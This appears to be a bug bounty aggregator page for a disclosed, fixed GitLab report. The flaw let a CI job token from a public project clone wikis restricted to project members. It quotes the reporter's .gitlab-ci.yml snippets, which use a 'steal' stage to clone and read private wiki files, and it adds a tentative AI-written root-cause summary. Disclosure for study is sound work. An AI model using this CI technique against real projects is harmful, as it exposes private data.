Backend: Able to git the wiki despite of the Only Project Members setting
A project's wiki set to 'Only Project Members' could still be cloned by an attacker using a CI job token from a public project. This allowed reading private wiki content.
GitLab
Originally disclosed on GitLab
- Fixed in 16 months
- Disclosed after 16 months
HackerOne report #1075586 by shells3c on 2021-01-10, assigned to @rchan-gitlab:
Report | How To Reproduce
Report
Summary
There was a problem by mistake while confirming the patch for the Wiki bug in the past report: #887755, and the fact that the bug is still there! I am able to git private wiki using the CI_JOB_TOKEN (public project)
Steps to reproduce
- Create a project, set the Wiki visibility to Only Project Members in the setting page:
https://gitlab.com/<user>/<project>/edit - Login as another user (attacker), create .gitlab-ci.yml in an arbitrary project:
stages:
- steal
test:
stage: steal
script:
- 'git clone http://gitlab-ci-token:[email protected]/company/api.wiki.git'
- 'cd api.wiki && cat api-doc.md'
- In the pipeline output, you will able to read the content
Examples
- Can't access this: https://gitlab.com/just4hack2/mypro/-/wikis/home
- Try adding the following in your .gitlab-ci.yml and read the wiki:
stages:
- steal
test:
stage: steal
script:
- 'git clone http://gitlab-ci-token:[email protected]/just4hack2/mypro.wiki.git'
- 'cd api.wiki'
- 'ls'
- 'cat home.md'
Impact
Able to read the private Wiki of Gitlab projects
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CI job token was not properly checked against the wiki's visibility setting, allowing access to private wikis.
Impact
An attacker could read the private wiki of a GitLab project.
What the attacker needed
A GitLab account; ability to create a project and run CI
How it was found
- Create a project and set Wiki visibility to 'Only Project Members'.
- Log in as another user and create a .gitlab-ci.yml file in an arbitrary project.
- In the CI script, clone the wiki repository using the CI job token.
- Read the wiki content from the pipeline output.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A wiki is a collection of pages for a project. The setting 'Only Project Members' is meant to keep it private. But a special token used in automated build jobs could still access it, letting an outsider read the wiki.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.